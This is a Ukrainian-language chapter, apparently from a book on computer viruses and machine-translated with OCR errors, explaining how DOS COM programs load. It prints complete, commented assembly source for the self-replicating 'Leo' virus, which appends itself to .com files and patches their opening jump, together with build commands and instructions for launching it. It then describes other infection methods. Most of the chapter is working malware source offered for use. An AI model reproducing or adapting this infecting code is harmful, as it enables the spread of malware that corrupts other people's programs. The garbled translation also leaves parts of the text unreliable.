У цьому розділі розказано про ал-
горітмах роботи вірусів,
заражають СОМ-файли,
і способи їх впровадження. Пред-
ставлена вихідний текст од-
ного з таких вірусів з під-
робном коментарями.
Також наведено основні све-
дення про структуру і принци-
пах роботи СОМ-програми.
10 СОМ-віруси
Комп'ютерні віруси можуть "гніздитися" в найнесподіваніших міс-
тах, наприклад, у записі початкового завантаження MBR (master boot record),
у виконуваних файлах типу СОМ і ЕХЕ, у файлах динамічних біб-
ліотек DLL і навіть у документах текстового процесора Microsoft Word
for Windows. У цьому розділі докладно розглядається будова виру-
са, який уражує СОМ-файли.
Структура і процес завантаження СОМ-програми
Що ж являє собою СОМ-програма, як вона завантажується
в пам'ять і запускається?
Структура СОМ-програми гранично проста - вона містить тільки
код і дані програми, не маючи навіть заголовка. Розмір СОМ-про-
грами обмежений розміром одного сегмента (64Кбайт).
І ще два поняття, які часто будуть зустрічатися:
Program Segment Prefix (PSP) - область пам'яті розміром 256 (OlOOh)
байт, що передує програмі при її завантаженні. PSP містить дан-
ні командного рядка і відносяться до програми змінні.
Disk Transfer Address (DTA) - блок даних, що містить адреси обміну
даними з файлом (читання або запис). Область DTA для роботи
з файлом використовують багато функцій, в тому числі і не виробляють
читання або запис в файл. Прикладом може служити функція 4Eh
(Знайти перший файл за шаблоном), яка буде неодноразово зустрі-
тися в лістингах програм.
Завантаження СОМ-програми в пам'ять і її запуск відбуваються так:
1. Визначається сегментний адресу вільної ділянки пам'яті доста-
точного для розміщення програми розміру.
2. Створюється і заповнюється блок пам'яті для змінних середовища.
3. Створюється блок пам'яті для PSP і програми (сегментЮОООЬ - PSP;
сегментЮЮОЬ - програма). У поля PSP заносяться відповідних
щие значення.
4. Встановлюється адресу DTA рівним PSP: 0080h.
5. Завантажується СОМ-файл з адреси PSP: 0100h.
6. Значення регістра АХ встановлюється відповідно до парамет-
рами командного рядка.
7. Регістри DS, ES і SS встановлюються на сегмент PSP і програм-
ми (PSP.-OOOOh).
8. Регістр SP встановлюється на кінець сегмента, після чого в стек за-
підписується OOOOh.
9. Відбувається запуск програми з адреси PSP: 0100h.
СОМ-програма завжди складається з одного сегмента і запускається з
зміщення OlOOh.
Найпростіший СОМ-вірус
На початку СОМ-файлу зазвичай знаходиться команда безумовного переходу
JMP, що складається з трьох байт. Перший байт містить код команди OE9h,
наступні два - адреса переходу. Оскільки розглянутий нижче ви-
рус навчальний, він буде заражати тільки СОМ-файли, що починаються
з команди JMP. Завдяки простому будовою СОМ-файл до нього дуже
просто додати тіло вірусу і потім вказати його адресу в команді JMP.
На рис. 1.1. показано зараження файлу таким способом.
Після завантаження зараженого файлу управління отримує вірус. Закон-
чив роботу, вірус відновлює оригінальний JMP і передає уп-
равленіе програмі, як показано на рис. 1.2.
Що ж робить розглянутий вірус? Після старту він шукає в теку-
щем каталозі СОМ-програми. Для цього використовується функція 4Eh
(Знайти перший файл):
Тіло вірусу записується в кінець файлу,
туди ж переноситься оригінальний JMP,
на місце якого записується інструкція
JMP на тіло вірусу.
Рис. 1.1.
; Шукаємо перший файл за шаблоном імені
mov ah, 4Eh
mov dx, offset fname - offset myself
add dx.bp
mov cx, 00100111b
int 21h
Потім вірус перевіряє (по першому байту файлу), чи підходять йому най-
денние СОМ-програми:
[Відкриваємо файл
Open:
mov ax, 3D02h
mov dx, 9Eh
int 21h
; Якщо при відкритті файлу помилок не сталося,
; Переходимо до читання, інакше виходимо з вірусу
jnc See_Him
jmp exit
; Читаємо перший байт файлу
See_Him:
xchg bx, ax
mov ah, 3Fh
mov dx, offset buf-offset myself
add dx.bp
xor ex, ex; CX = 0
inc ex [(збільшення на 1) СХ = 1
int 21h
Порівнюємо. Якщо перший байт файлу
, Не E9h, то переходимо до пошуку наступного
. Файлу - цей для зараження не підходить
cmp byte ptr [bp + (offset buf-offset myself)], OE9h
jne find_next
Перед зараженням файлу вірус перевіряє сигнатуру - не виключено,
що файл вже заражений:
Переходимо в кінець файлу (на останній байт)
mov ax, 4200h
xor ex, ex
mov dx, [bp + (offset flen-offset MySelf)]
dec dx
int 21h
; Читаємо сигнатуру вірусу
Read:
mov ah, 3Fh
xor ex, ex
inc ex
mov dx.offset bytik-offset myself
add dx.bp
int 21h
. Якщо при читанні файлу помилок не сталося,
[Перевіряємо сигнатуру,
; Інакше шукаємо Наступне фото
jnc test_bytik
jmp find_next
[Перевіряємо сигнатуру
Test_bytik:
cmp byte ptr [bp + (offset bytik-offset myself)], CheckByte
; Якщо сигнатура є, то шукаємо інший файл,
. Якщо її немає - будемо заражати
je find_next2
jmp NotJnfected
Потім, відповідно до запропонованої схеми, вірус дописується
в кінець файлу-жертви і встановлює адресу переходу на самого себе:
[Переходимо в кінець файлу
mov ax, 4202h
xor ex, ex
xor dx.dx
int 21h
Зупиняємо регістр DS на сегмент коду
push cs
pop ds
[Копіюємо вірус у файл
mov ah, 40h
mov cx.offset VirEnd-offset la
mov dx, bp
sub dx, offset myself-offset la
int 21h
[Записуємо в початок файлу перехід на тіло вірусу
Write_Jmp:
. Переходимо в початок файлу
xor сх.сх
xor dx, dx
mov ax, 4200h
int 21h
[Записуємо перші три байти файлу (перехід на тіло вірусу)
mov ah, 40h
mov сх, 3
mov dx, offset jmpvir-offset myself
add dx.bp
int 21h
Після того, як вірус закінчить свою роботу, він відновлює
в початковий стан перші три байти програми (у пам'яті комп'ютерах
тера) і передає керування на початок програми. Далі, при
запуску зараженого файлу, управління спочатку отримує вірус, потім -
вихідна програма. Завдяки такій схемі роботи розглянутий
вірус може спокійно існувати, будучи один раз випущеним
на волю.
Як запустити вірус? У будь-якому текстовому редакторі створюється файл
LEO.ASM, що містить вихідний текст вірусу, потім цей файл комп-
ліруется і компонується готова програма. Наприклад, в системі про-
граммирования Turbo Assembler останні два етапи виконуються та-
кими командами:
tasm.exe leo.asm
tlink leo.obj / t
У підсумку вийшов файл LEO.COM, містить готовий СОМ-вірус.
Для перевірки роботи вірусу можна створити окремий каталог і ско-
бенкетувати в нього цей файл, а також кілька інших СОМ-файлів.
Після запуску LEO.COM вірус проникне в усі інші СОМ-фай-
ли. Не варто боятися, що буде заражений відразу весь комп'ютер - вірус
розповсюджується тільки в поточному каталозі. Нижче наводиться результат-
ний текст вірусу:
.286. Встановлюємо тип процесора
CheckByte equ OFOh
[Зазначаємо, що регістри CS і DS містять
; Адресу сегмента коду програми
assume cs: code, ds: code
; Початок сегмента коду. У кінці програми сегмент коду потрібно
; Закрити - "code ends"
code segment
Зупиняємо зміщення в сегменті коду.
Дана рядок обов'язкове
; Для СОМ-програми (всі СОМ-програми
починаються з адреси 100h)
org 100h
start:
; Імітуємо заражений СОМ-файл.
; Тіло вірусу починається з мітки la
; Jmp la
db OE9h; Код команди JMP
dw offset la-offset real
real:
[Виходимо з програми
mov ah, 4Ch
int 21 h
; 3десь починається тіло вірусу
la:
; Зберігаємо регістри і прапори
pushf
pusha
push ds es
. Отримуємо точку входу.
; Для цього викликаємо підпрограму (наступний
; За викликом адреса) і читаємо з стека адресу повернення
call MySelf
MySelf:
pop bp
відновлюємо перші три байти вихідної програми
mov al, [bp + (offset bytes_3 [0]-offset MySelf)]
mov byte ptr cs: [100h], al
mov al, [bp + (offset bytes_3 [1]-offset MySelf)]
mov byte ptr cs: [101h], al
mov al, [bp + (offset bytes_3 [2]-offset MySelf)]
mov byte ptr cs: [102h], al
[Подальше завдання вірусу - знайти нову жертву.
; Для цього використовується функція 4Eh (Знайти перший файл).
; Шукаємо файл з будь-якими атрибутами
Find_First:
. Шукаємо перший файл за шаблоном імені
mov ah, 4Eh
mov dx.offset fname-offset myself
add dx.bp
mov cx, 00100111b
int 21 h
; Якщо файл знайдений - переходимо до зміни атрибутів, інакше виходимо
; З вірусу (тут немає відповідних для зараження файлів)
jnc attributes
jmp exit
attributes:
. Читаємо оригінальні атрибути файлу
mov ax, 4300h
mov dx, 9Eh. Адреса імені файлу
int 21 h
. Зберігаємо оригінальні атрибути файлу
push ex
•. Встановлюємо нові атрибути файлу
mov ax, 4301h
mov dx, 9Eh. Адреса імені файлу
mov cx, 20h
int 21 h
Переходимо до відкриття файлу
jmp Open
; Шукаємо наступний файл, так як попередній не підходить
FincLNext:
; Відновлюємо оригінальні атрибути файлу
mov ax, 4301h
mov dx, 9Eh; Адреса імені файлу
pop сх
int 21 h
[Закриваємо файл
mov ah, 3Eh
int 21 h
; Шукаємо Наступне фото
mov ah, 4Fh
int 21 h
; Якщо файл знайдений - переходимо до зміни атрибутів, інакше виходимо
; З вірусу (тут немає відповідних для зараження файлів)
jnc attributes
jmp exit
.- Відкриваємо файл
Open:
mov ax, 3D02h
mov dx, 9Eh
int 21 h
; Якщо при відкритті файлу помилок не сталося -
. Переходимо до читання, інакше виходимо з вірусу
jnc See_Him
jmp exit
; Читаємо перший байт файлу
See_Him:
xchg bx.ax
mov ah, 3Fh
mov dx.offset buf-offset myself
add dx, bp
xor ex, ex; CX = 0
inc ex [(збільшення на 1) СХ = 1
int 21 h
. Порівнюємо. Якщо перший байт файлу
, Не E9h, то переходимо до пошуку наступного файлу -
; Цей для зараження не підходить
cmp byte ptr [bp + (offset buf-offset myself)], OE9h
jne find_next
; Переходимо в початок файлу
mov ax, 4200h
xor ex, ex
xor dx.dx
int 21 h
[Читаємо перші три байти файлу в тіло вірусу
See_Him2:
mov ah, 3Fh
mov dx, offset bytes_3-offset myself
add dx.bp
mov cx, 3
int 21 h
. Отримуємо довжину файлу, для чого переходимо в кінець файлу
Testik:
mov ax, 4202h
xor ex, ex
xor dx.dx
int 21h
Size_test:
; Зберігаємо отриману довжину файлу
mov [bp + (offset flen-offset MySelf)], ax
[Перевіряємо довжину файлу
cmp ax.64000
; Якщо файл не більше 64000 байт, - переходимо
; До наступної перевірки,
; Інакше шукаємо інший файл (цей занадто великий для зараження)
jna richJest
jmp find_next
Перевіримо, не заражений файл.
; Для цього перевіримо сигнатуру вірусу
RichJest:
[Переходимо в кінець файлу (на останній байт)
mov ax, 4200h
xor сх.сх
mov dx, [bp + (offset flen-offset MySelf)]
dec dx
int 21h
; Читаємо сигнатуру вірусу
Read:
mov ah, 3Fh
xor ex, ex
inc ex
mov dx, offset bytik-offset myself
add dx.bp
int 21 h
; Якщо при читанні файлу помилок
; Не сталося - перевіряємо сигнатуру,
. Інакше шукаємо Наступне фото
jnc test_bytik
jmp tind_next
; Перевіряємо сигнатуру
Test_bytik:
cmp byte ptr [bp + (offset bytik-offset myself)], CheckByte
; Якщо сигнатура є, то шукаємо інший файл,
. Якщо ні - будемо заражати
jne NotJnfected
jmp find_next
. Файл не заражений - будемо заражати
NotJnfected:
mov ax, [bp + (offset flen-offset myself)]
sub ax, 03h
mov [bp + (offset jmp_cmd-offset myself)], ax
l_am_copy:
. Переходимо в кінець файлу
mov ax, 4202h
xor ex, ex
xor dx.dx
int 21 h
[Встановлюємо регістр DS на сегмент коду
push cs
pop ds
. Копіюємо вірус у файл
mov ah, 40h
mov ex, offset VirEnd-offset la
mov dx.bp
sub dx, offset myself-offset la
int 21 h
Записуємо в початок файлу перехід на тіло вірусу
Write_Jmp:
. Переходимо в початок файлу
хог сх.сх
xor dx, dx
mov ax, 4200h
int 21 h
[Записуємо перші три байти файлу (перехід на тіло вірусу)
mov ah, 40h
mov сх, 3
mov dx.offset jmpvir-offset myself
add dx.bp
int 21h
; 3акриваем файл
Close:
mov ah, 3Eh
int 21h
; Відновлюємо оригінальні атрибути файлу
mov ax, 4301h
mov dx, 9Eh
pop ex
int 21h
exit:
відновлюємо початкові значення регістрів і прапорів
pop es ds
рора
popf
Передаємо керування програмі-носію
push 100h
retn
-. Байт для читання сигнатури
bytik db (?)
. Зарезервовано для зміни трьох байт вірусу
jmpvir db OE9h
jmp_cmd dw (?)
; Довжина файлу
flen dw (?)
; Шаблон для пошуку файлів
fname db "*. com", 0
; 0бласть для зберігання команди переходу
bytes_3 db 90h, 90h, 90h
; Байт пам'яті для читання першого байта файлу
; З метою перевірки (Е9п)
buf db (?)
; Назва вірусу
virus_name db "Leo"
; Сигнатура
a db CheckByte
VirEnd:
code ends
end start
Способи впровадження СОМ-вірусів
Розглянутий вірус дописується в кінець файлу, а в початок файлу
вписував перехід на себе. Існують і інші способи впровадження
вірусів.
Розглянемо два варіанти впровадження СОМ-вірусу в початок файлу.
Варіант перший. Вірус переписує початок програми в кінець файлу,
щоб звільнити місце для себе. Після цього тіло вірусу записує-
ся в початок файлу, а невелика його частина, що забезпечує перенесення ви-
тісненими фрагмента програми, на колишнє місце - в кінець. При вос-
становленні первісного вигляду програми її вірусу
затерто, тому код вірусу, який відновлює програму, повинен
перебувати в безпечному місці, окремо від основного тіла вірусу.
Цей спосіб впровадження зображений на рис. 1.3.
Рис. 1.3.
Під час завантаження зараженого таким способом файлу керування отримає
вірус (так як він знаходиться на початку файлу і буде завантажений з адреси
OlOOh). Після закінчення роботи вірус передає управління коду, пере-
носить витиснену частину програми на колишнє місце. Після вос-
становлення (у пам'яті, не у файлі) первісного вигляду програми,
вона запускається. Схема роботи вірусу зображена на рис. 1.4.
Другий варіант відрізняється від першого тим, що вірус, звільняючи для
себе місце, зрушує все тіло програми, а не переносить її частина в ко-
нець файлу. Цей спосіб впровадження зображений на рис. 1.5.
Після запуску зараженої програми, як і в попередньому випадку,
управління отримує вірус. Подальша робота вірусу відрізняється
тільки тим, що частина вірусу, відновлююча первинний вигляд
програми, переносить до адреси OlOOh все тіло програми, а не тільки
витиснену частину. Схема роботи вірусу, що заражає файл таким
чином, наведена на рис. 1.6.
Існують різновиди вірусів, не дописуйте частину свого
тіла в кінець файлу. Наприклад, вірус може впроваджуватися в середину
файлу. У цьому випадку алгоритм роботи вірусу є сумішшю алгоритми
мов одного з двох тільки що описаних вірусів і вірусу, описано-
го в розділі "Найпростіший СОМ-вірус".